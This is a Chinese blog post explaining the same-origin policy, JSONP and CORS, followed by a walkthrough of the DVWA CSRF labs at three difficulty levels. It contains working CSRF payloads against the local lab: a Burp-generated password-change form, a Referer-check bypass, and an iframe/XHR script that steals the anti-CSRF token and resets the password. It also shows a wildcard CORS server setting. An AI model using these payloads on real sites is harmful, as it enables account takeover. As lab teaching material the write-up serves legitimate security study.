CSRF与跨域

发布于 2023-04-07  531 次阅读


原理

  • 只需要观察页面的传参方式,构造恶意表单即可,可以改网上的表单,也可以用burpsuit生成(下面例题中会提到)

  • 将带有恶意表单的网页放到公网服务器,诱导用户点击,因为是用户自己的浏览器,所以肯定带有cookie,就可以过一些验证,而如果仅是将表单给第三方点击或者是攻击者自己点击,验证是肯定过不了的

同源策略

  • 如果两个 URL 的协议、端口 (en-US)(如果有指定的话)和主机都相同的话,则这两个 URL 是同源的。
URL 结果 原因
http://store.company.com/dir2/other.html 同源 只有路径不同
http://store.company.com/dir/inner/another.html 同源 只有路径不同
https://store.company.com/secure.html 失败 协议不同
http://store.company.com:81/dir/etc.html 失败 端口不同(http:// 默认端口是 80)
http://news.company.com/dir/other.html 失败 主机不同
  • 非同源的请求为跨域请求

原生跨域请求

  • html 里有几个标签是存在 src属性的,例如 <script> 、<link> 、<img>、<iframe>。 这些标签的 src 属性是不会受到浏览器的同源策略的限制,是可以对不同域下的脚本文件进行访问的
  • <iframe>不能完全无视同源策略,比如http://www.drinkflower.asia和http://blog.drinkflower.asia可以跨域,而不能在https://baidu.com和https://drinkflower.asia跨域
  • 另外几种网上没有统一的说法,但是可以确定的是这三种标签即使完全不受同源策略限制,也会严格受到标签能力的限制,从而无法利用
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>

jsonp跨域请求

  • 原生跨域请求可以跨域访问文件,但是所访问到的文件会受到标签的限制,如使用<script>标签请求到文件数据后会被当作js代码处理从而报错

  • 要解决这个问题只需要服务端要在返回的数据外层包裹一个客户端已经定义好的函数,客户端收到数据就会按照设定的函数进行处理

  • jquery 实现 jsonp跨域请求,实际上jquery 将jsonp封装在 ajax请求中,原理的话其实就是创建了一个script标签,然后拼接 url 字符串,作为 src 属性的值。要求有jquery库,只支持get请求

<script src="node_modules/jquery/dist/jquery.min.js"></script>
<script>
    $(function () {
        function showDate(data) {
            console.log(data)
        }
        $.ajax({
            url: 'http://www.example.com:5000/data.js',
            type: 'get',          //请求方式必须为 get
            dataType: 'jsonp',    //数据类型改为 jsonp
            jsonpCallback: 'showDate'   //数据返回后调用的回调函数
        })
        .done(data => {
            console.log(data)
        })
    })
</script>

代理跨域请求

  • 啊这,,,,

CORS跨域请求

  • CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。
  • 实现CORS通信的关键是服务器。只要服务器实现了CORS接口,就可以跨源通信

简单请求

1. 请求方法是以下三种方法之一:

- HEAD
- GET
- POST

2. HTTP的头信息不超出以下几种字段:

- Accept
- Accept-Language
- Content-Language
- Last-Event-ID
- Content-Type:只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain
  • 可以看到,上一篇xhr中构造的请求是一个简单请求

  • 对于简单请求,浏览器在头信息之中,增加一个Origin字段用来说明,本次请求来自哪个源(协议 + 域名 + 端口)。服务器根据这个值,决定是否同意这次请求。

发送的请求

GET /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
返回的请求

Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar
Content-Type: text/html; charset=utf-8
  • 如果Origin指定的源,不在许可范围内,服务器会返回一个正常的HTTP回应。浏览器发现,这个回应的头信息没有包含Access-Control-Allow-Origin字段(详见下文),就知道出错了,从而抛出一个错误,被XMLHttpRequest的onerror回调函数捕获。注意,这种错误无法通过状态码识别,因为HTTP回应的状态码有可能是200。
  • 如果Origin指定的域名在许可范围内,服务器返回的响应,会多出上面的几个头信息字段。
1)Access-Control-Allow-Origin

该字段是必须的。它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。

(2)Access-Control-Allow-Credentials

该字段可选。它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括在CORS请求之中。设为true,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。这个值也只能设为true,如果服务器不要浏览器发送Cookie,删除该字段即可。

(3)Access-Control-Expose-Headers

该字段可选。CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。上面的例子指定,getResponseHeader('FooBar')可以返回FooBar字段的值。
  • CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器,一方面要服务器同意,指定Access-Control-Allow-Credentials字段。同时还需要设置xhr请求:
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
  • 需要注意的是,如果要发送Cookie,Access-Control-Allow-Origin就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie依然遵循同源政策,只有用服务器域名设置的Cookie才会上传,其他域名的Cookie并不会上传,且(跨源)原网页代码中的document.cookie也无法读取服务器域名下的Cookie。

非简单请求

环境配置

  • CSRF可能需要使用xhr获取或发送数据,就需要设置自己的服务器允许跨域请求(其实SSRF需要的更多一些)
服务器端对于CORS的支持,是通过设置Access-Control-Allow-Origin来进行的。如果浏览器检测到相应的设置,就可以允许Ajax进行跨域的访问,也就是相应的‘后门'。

设置Apache:Apache需要使用mod_headers模块来激活HTTP头的设置,它默认是激活的。你只需要修改Apache配置文件中的httpd.conf文件:

原始代码
复制代码 代码如下:

<Directory />
AllowOverride none
Require all denied
</Directory>

改为下面代码
复制代码 代码如下:

<Directory />
Require all denied
Header set Access-Control-Allow-Origin *
</Directory>

在处理请求的PHP文件中设置:
复制代码 代码如下:

<?php
    header("Access-Control-Allow-Origin:*");
    //处理请求输出数据
?>
  • 也可以不设置为*而仅允许部分源,这里用不到就不写了

例题

dwva-csrf-low

  • 题目模拟了csrf改密码的过程
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 
  • 观察源码,题目的意思相当于无验证修改密码,只要两次的密码框输入相同即可更改数据库中的密码
  • burpsuit抓改密码的包,在repeater模块找到生成csrf poc的工具

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/dvwa-master/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="23456" />
      <input type="hidden" name="password&#95;conf" value="23456" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
  • 模拟成功将用户诱导点击表单(自己去点)

  • 成功改掉了密码

dwva-csrf-medium

CSRF Source
vulnerabilities/csrf/source/medium.php
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
  • 相比起上一道题目,增加了if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) ) ,验证了referer字段中有没有包含靶机的名字(比如https://drinkflower.asia的referer有没有包含drinkflower.asia)
  • 如果还直接用上一题的wp,就会出现下面的情况(注意不要把构造的html放在本地,这样会导致referer肯定是一致的,和实际情况不符)这里我将它放在了我的服务器上面,跳转127.0.0.1后提示referer不对

  • 当然可以抓包修改,但是显然与实际情况不符,用户不可能莫名其妙去抓包改referer

  • 解决办法是将网页的名字命名带有靶机的referer即可,比如我将上一题的html文件重命名为127.0.0.1.html上传到我的服务器上,再点击即可

  • 本地测试出了一点问题,因为本地是127.0.0.1,而如果命名为127.0.0.1会被浏览器错误解析(比如https://drinkflower.asoa/127.0.0.1.html),在真实情况中是不存在这样的问题的

dwva-csrf-high

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>
  • 页面会生成一个固定的token,不带token是无法改密的,比如用上一题的wp

(没有任何反应)

  • 如果我们手动改一下,就能拿到token

(密码改成了1,生成了token)

  • 可以测试一下,直接改url中的请求,是可以改密码的

(用密码改1生成的token将密码改成了2)

  • 说明token是可以重复使用的,我们只需要先让恶意网页访问一下该链接,拿到返回的token,再去改密码即可
<html>
<head>
<script type="text/javascript">

    function attack()

  {

   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

  document.getElementById("transfer").submit(); 

  }

</script>

<iframe src="http://127.0.0.1/DVWA-1.9/vulnerabilities/csrf/" id="hack" border="0" style="display:none;">

</iframe>

<body onload="attack()">

  <form method="GET" id="transfer" action="http://127.0.0.1/DVWA-1.9/vulnerabilities/csrf/">

   <input type="hidden" name="password_new" value="password">

    <input type="hidden" name="password_conf" value="password">

   <input type="hidden" name="user_token" value="">

  <input type="hidden" name="Change" value="Change">

   </form>

</body>
</head>
</html>
  • 这里iframe无法跨域导致无法成功改密码,需要结合css利用,把这个iframe插入目标靶机的某网页,但是iframe不好插,所以这里提供一个xhr的脚本,直接插<script>即可
alert(document.cookie);
var theUrl = 'http://127.0.0.1/dvwa-master/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest();
}else{
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
    if(xmlhttp.readyState ==4 && xmlhttp.status==200)
    {
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        console.log(match);
        alert(match[1]);
            var token = match[1];
                var new_url = 'http://127.0.0.1/dvwa-master/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
                if(count==0){
                    count++;
                    xmlhttp.open("GET",new_url,false);
                    xmlhttp.send();
                }
    }
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
届ける言葉を今は育ててる
最后更新于 2024-03-09